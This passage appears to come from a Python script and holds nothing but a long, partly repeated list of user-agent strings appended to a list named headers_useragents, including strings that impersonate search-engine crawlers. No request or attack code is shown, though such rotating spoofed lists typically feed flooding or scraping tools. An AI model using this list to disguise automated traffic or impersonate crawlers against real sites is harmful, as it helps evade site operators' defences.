K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 